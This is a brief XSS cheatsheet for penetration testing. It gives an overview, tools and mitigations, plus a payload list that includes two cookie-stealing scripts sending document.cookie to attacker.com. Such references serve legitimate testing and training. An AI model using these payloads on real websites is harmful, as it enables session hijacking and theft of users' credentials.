Xss Cross Site Scripting
Web cheatsheet — Web application enumeration and exploitation techniques.
Overview
Cross-Site Scripting (XSS) is a client-side code injection attack where malicious scripts are injected into trusted websites. XSS occurs when an application includes untrusted data in a web page without proper validation or escaping, allowing an attacker to execute arbitrary JavaScript in the context of a victim's browser.
XSS is one of the most prevalent web application vulnerabilities and can lead to session hijacking, credential theft, defacement, and malware delivery.
Category: Web — Web application enumeration and exploitation techniques.
Key Commands & Payloads
The following commands and payloads are commonly used when testing for or exploiting Xss Cross Site Scripting:
<script>alert(1)</script><img src=x onerror=alert(1)><svg onload=alert(1)>" onmouseover="alert(1)<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>';alert(1)//</script><script>alert(1)</script><script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>Tools & Techniques
Recommended tools for Xss Cross Site Scripting:
- XSStrike: automated XSS detection and exploitation
- Dalfox: fast parameter-based XSS scanner
- Burp Suite Active Scanner with XSS checks
- Manual DOM XSS analysis with browser dev tools
- BeEF: Browser Exploitation Framework for XSS post-exploitation
Prevention & Mitigation
Security recommendations to prevent Xss Cross Site Scripting:
- Implement Content Security Policy (CSP) headers
- Encode output based on context (HTML, JS, CSS, URL)
- Use secure frameworks with auto-escaping (React, Angular)
- Validate input on both client and server side
- Set HttpOnly flag on session cookies
- Use X-XSS-Protection and X-Content-Type-Options headers
References
Additional resources: